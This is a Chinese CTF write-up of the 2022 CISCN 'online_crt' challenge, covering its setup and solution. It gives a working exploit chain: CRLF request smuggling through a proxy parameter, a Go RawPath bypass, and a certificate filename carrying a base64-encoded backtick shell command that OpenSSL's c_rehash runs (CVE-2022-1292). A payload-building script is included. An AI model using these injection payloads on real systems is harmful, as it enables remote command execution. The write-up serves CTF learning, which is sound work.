[2022CISCN]online_crt(ssrf+OpenSSL)CVE-2022-1292

发布于 2022-06-01  25 次阅读


[2022CISCN]online_crt(ssrf+OpenSSL)CVE-2022-1292

配置环境

Go环境

添加依赖包

cd golang_server
go mod tidy

修改main.go

image-20220601204949972

staticPath := "app/static/crt/"

改成

staticPath := "../static/crt/"

运行main.go

go run main.go

python环境

修改app.py

因为大多数c_rehash指代的不是题目给的这个包,而是其他程序卸载环境变量里面的c_rehash,如下图

image-20220601205356160

所以我们打开app.py

image-20220601225232656

把这个

def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)

改成

def info():
    json_data = {"info": os.popen("./c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)

移动c_rehash

将goland_server里面的c_rehash移动到上一级目录,也就是和app.py一级

image-20220601225218756

运行python

cd ../
python3 ./app.py

题解

分析

首先,题目是python+go

python

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("./c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

/getcrt 是生成了一个SSL证书利用x509编码

/createlink调用c_rehash修改文件名创建SSL证书链接

/poxy代理访问内网8887端口的go服务

go

package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "../static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
    if c.Request.URL.RawPath != "" && c.Request.Host == "admin"{
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

admin可以访问/admin/rename可以修改证书的名字

CVE-2022-1292

查看漏洞修复方案可以知道,这个漏洞大概是证书如果用``可以执行任意命令

image-20220601210805755

那么我们的大致思路就是

  • 首先通过/getcrt创建一个证书
  • 然后在/creatlink查看证书的名字
  • 通过/proxy代理进入8887端口,修改文件名称为任意执行的名称

RawPath和Host检验

url头劫持

Request.Host是检查请求头的host值是不是admin

利用


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

我们可以控制uri的输入

那么我们构造一个http协议的请求头为

GET / HTTP1.1
Host: admin
Content-Length: 136
Connection: close


HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

go的RawPath的特性

在go的net库里面可以看到

这个函数是检验

如果反转义后再次转义的url和原始的url不同,那么RawPath会被设置为原始的url,反之就是空

image-20220601212027475

这个地方就直接在url的任意一个斜杠/进行url编码就可绕过这个检查

开始解题

访问/getxy构造一个证书

image-20220601212909661

修改文件名

由于linux命名奇怪的特性,所以需要用bash64编码

`echo%2520Y2F0IC8qIA==|base64%2520--decode|bash>flag.txt`.crt

这个地方注意一点,python写的

image-20220601213156349

是获取get请求form表单的值

所以,我们需要在http请求头里面加入

Content-Type: application/x-www-form-urlencoded

利用脚本

import urllib.parse
uri = '''/admin%2frename?oldname=859bf244-b46d-4906-a221-315f276f04a6.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close

'''
gopher = uri.replace("\n","\r\n")
enc = urllib.parse.quote(gopher)
print(enc)

生成uri

/admin%252frename%3Foldname%3D859bf244-b46d-4906-a221-315f276f04a6.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close%0D%0A%0D%0A

注意一个点,uri结尾必须是两个/r/n也就是编码之后的%0D%0A

image-20220601223037154

访问/createlink路由调用c_rehash

image-20220601224113174

访问/static/crt/flag可以得到flag

image-20220601224558034

遇到的问题

Go语言的安装配置

下载

# 安装wget

yum install -y wget

# 在 ~ 下创建 go 文件夹,并进入 go 文件夹

mkdir ~/go && cd ~/go

# 下载的 go 压缩包

wget https://studygolang.com/dl/golang/go1.18.2.linux-amd64.tar.gz

解压

执行tar解压到/usr/loacl目录下(官方推荐),得到go文件夹等

tar -C /usr/local -zxvf go1.18.2.linux-amd64.tar.gz

环境变量

添加/usr/loacl/go/bin目录到PATH变量中。添加到/etc/profile 或$HOME/.profile都可以

vi /etc/profile

# 在/etc/profile最后一行添加
export GOROOT=/usr/local/go
export PATH=$PATH:$GOROOT/bin

# 保存退出后source一下(vi 的使用方法可以自己搜索一下)

source /etc/profile

验证

执行go version,如果显示版本号,则Go环境安装成功。

如果无法运行go,重启一下Linux就好了

出现xxx defined in both Go and assembly报错

卸载Go,并清空原来的安装文件夹,再重新安装。

系统报错端口被占用

查找被占用的端口:

netstat -tln | grep 8000

tcp        0      0 192.168.2.106:8000      0.0.0.0:*               LISTEN  

2)查看被占用端口的PID:

sudo lsof -i:8000

COMMAND PID     USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
nginx   850     root    6u  IPv4  15078      0t0  TCP 192.168.2.106:8000 (LISTEN)
nginx   851 www-data    6u  IPv4  15078      0t0  TCP 192.168.2.106:8000 (LISTEN)
nginx   852 www-data    6u  IPv4  15078      0t0  TCP 192.168.2.106:8000 (LISTEN)

3)kill掉该进程

sudo kill -9 850

外网无法访问Linux

关闭防火墙

使用如下命令关闭防火墙

[root@localhost ~]# systemctl stop firewalld.service 1

使用如下命令关闭防火墙开机自启动

[root@localhost ~]# systemctl disable firewalld.service 1

此时查看防火墙状态即可

[root@localhost ~]# firewall-cmd --state 

“缘分让我们相遇乱世以外,命运却让我们危难中相爱”